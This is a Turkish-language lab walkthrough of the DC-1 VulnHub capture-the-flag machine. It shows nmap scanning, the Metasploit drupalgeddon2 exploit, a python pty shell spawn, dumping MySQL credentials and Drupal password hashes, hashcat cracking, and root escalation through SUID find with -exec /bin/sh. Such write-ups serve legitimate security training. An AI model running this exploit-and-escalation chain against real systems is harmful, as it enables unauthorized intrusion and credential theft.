DC-1 VulnHub Walkthrough

Ahmet PAYASLIOĞLU
5 min readDec 19, 2019

--

Merhaba arkadaşlar bugün DC-1 makinamızı beraber çözeceğiz.

Makine toplam 5 flag içeriyor.

Öncelikle zafiyetli makinamızı indirelim: https://www.vulnhub.com/entry/dc-1,292/

İndirdikten sonra VMware üzerinden zafiyetli makinamızı çalıştıralım.

1-Öncelikle kendimize sudo su komutu ile root yetkisi verdik. Sonrasında netdiscover tool’u sayesinde ağı dinliyoruz.

Zafiyetli olan DC-1 makinamızı tespit ettik . IP’si 192.168.24.134

Sonrasında nmap taraması yaparak hangi portların açık olduğunu bulacağız.

nmap -sS –sV ………… (noktalı yerlere hedef İP yi yazıyoruz)

Nmap taraması sonucu 22 , 80, ve 111. Portların açık olduğunu tespit ettik.

Biz 80. Port üzerinde yoğunlaşacağız.

80. port açık olduğunda aklımıza direk zafiyetli makinanın IP’sini internet tarayıcığımızda aratmak gelmeli. 192.168.24.134 ‘ü arattığımızda karşımıza Drupal Site çıkıyor

Sonra bu sitedeki zafiyetleri bulmak için Metasploit adlı tool’u kullanacağız.

Metasploit’i biraz açıklayalım. Metasploit, sızma testlerinde kullanılabilecek en idal yazılımlardan birisidir, içerisinde exploitler, payloadlar, auxiliaryler ve encoderlerin bulunduğu bir altyapıdır. Metasploit ile sadece saldırı yapılmaz. İşletim sistemlerinde yönelik backdoorlar oluşturulabilir ve bunlar üzerinden hedef sisteme saldırı ve ele geçirme işlemi yapılır.

Metasploiti çalıştırmak için komut satırına msfconsole yazıyoruz.

Ardından istediğimiz zafiyetleri görüntülemek için komut satırına search drupalgeddon yazıyoruz.

Sonra karşımıza drupal ile ilgili zafiyet çıktı.. Sonrasıda bu zafiyeti kullanmak için komut satırına use exploit/unix/webapp/drupal_drupalgeddon2 yazıyoruz.

Ardından komut satırına show options yazıyoruz

Karşımıza Name / Current Setting / Required / Description ‘la ilgili bazı bilgiler çıktı.

Ardından set rhosts 192.168.24.134 yazarak tekrardan show options diyoruz .

Gördüğünüz gibi RHOSTS bilgilerini değiştirmiş olduk.

Ardından exploiti çalıştırmak için komut satırına exploit yazıyoruz.

Artık meterpreter’deyiz.

Nedir bu meterpreter ? Meterpreter : Meterpreter, Metasploit Framework için yazılmış ve sistem sızma testlerini kolaylaştırmayı hedefleyen bir araçtır. Bir çeşit arka kapı olarak çalışır; erişim sağlanan sisteme yüklenmesi sonrasında özel araç setlerini kullanıma sunmak, dosya yüklemek,

dosya indirmek, parola özetlerini almak, süreçleri yönetmek veya Ruby yorumlayıcısı

üzerinde istenen her tür işlemi yapmak için tasarlanmıştır.

Komut satırına id yazarak hangi yetkide olduğumuzu ve ls yazarak aktif klasördeki dosya ve klasörleri listeler.

Evet gördüğünüz üzere flag1.txt dosyasını yakalamış olduk. Biraz inceleyelim içerisinde ne var.Komut satırına cat flag1.txt yazdıktan sonra karşımıza Every good CMS needs a config file — and so do you diye bir yazı geldi

Ardından komut satırına kabuk almak için python -c ‘import pty; pty.spawn(“/bin/bash”)’ kodunu yazıyoruz.

Artık www-data@DC-1:/var/www$ dizinindeyiz. Sonrasında ls yazıyoruz.

İçerisinde sites dosyası çıktı. Drupalda default olarak komut dosyası Sites’in içerisinde settings.php ‘nin içerisinde bulunuyor. İncelemeye başlayalım.

cd sites yazarak içerisine bakmak için ls diyoruz. İçerisinde default’u gördük. Sonra cd default yazarak yeni dizine geçiyoruz. Ardından tekrardan ls yazıyoruz. İçerisinde settings.php yi yakaladık. İçerisini incelemek için cat settings.php yazıyoruz.

Flag 2 ‘yi yakalamış olduk. İçerisinde bir takım username ve password mysql bilgileri içeriyor. Bir kenarda kalsın ilerde işimize yaracak.

Flag 2 de mysql bilgileri verdiği için mysql yi açalım.

Komut satırına mysql –Ddrupaldb –udbuser –pR0ck3t yazdığımızda mysql bağlantısı tamamlanmış oldu.

Show databases; yazalım. Karşımıza drupaldb geldi. Use drupaldb; yazalım

Sonra show tables yazarak tablolarına bakalım

İçerisindeki node’yi incelediğimizde flag3 ün olduğunu gördük fakat sisteme giriş yapmamız gerekiyor. O zaman şimdi users’i incelemeye başlayalım

Select * from users; yazdığımızda karşımıza HASH değerleri geldi.

Bu HASH Değerini kırmak için hashcat aracını kullanabilirsiniz.

Bu şifre kırma işlemi biraz uzun sürebilir .

Komut satırına hashcat –m 7900 yazmamız gerekiyor. Burdaki 7900 drupalın değerini belirtiyor. Bütün değerlere bakmak için hashcat –help yazarak inceleyebilirsiniz.

HASH değerini kırdığımızda şifrenin 53cr3t olduğunu görüyoruz. Kullanıcı adımız zaten Admin’di.

Sayfaya girerek bu bilgilerle giriş yapalım.

Giriş yaptıktan sonra sol üst köşedeki dashboard’a tıkladığımızda flag3 ‘ü yakalamış olduk.

Flag 3 ‘ün içerisinde böyle bir bilgi yer alıyor.

Mysql’den çıkış yapalım

Gerekli komutlara girerek home dizinine gitmeye çalışalım.

+Kısaca find home yazarakta bulabilirsiniz

Home dizininin içerisinde flag4.txt dosyasının olduğunu yakaladık. İçerisini incelediğimizde

Can you use this same method to find or Access the flag in root? Yazısının çıktığını gördük.

Bu mesajdan çıkarmamız gereken mesaj kısaca root olmamız gerektiği.

Tmp dosyasının içerisinde dosya oluşturarak root olabiliriz.

Bunun için sırasıyla resimdeki adımları izleyelim.

cd tmp >

touch 0z4n >

find 0z4n –exec “whoami” \;

yazdığımızda root’a eriştiğimizi gördük. 0z4n adlı dosyayı kendimiz oluşturup root yapmış olduk. Ardından

find oz4n –exec “/bin/sh” \; yazıyoruz.

Sonrasında id yazarak hangi yetkide olduğumuzu görüntüleyebiliriz.

Resimde gördüğünüz üzere root erişimi yapabiliriz. cd /root yazarak ls yazalım. İçerisinde ne var?

Ve gördüğümüz üzere thefinalflag.txt dosyasına eriştik.

Makinamızı çözmüş olduk , birdahaki makine çözümlerinde görüşmek üzere :)

--

--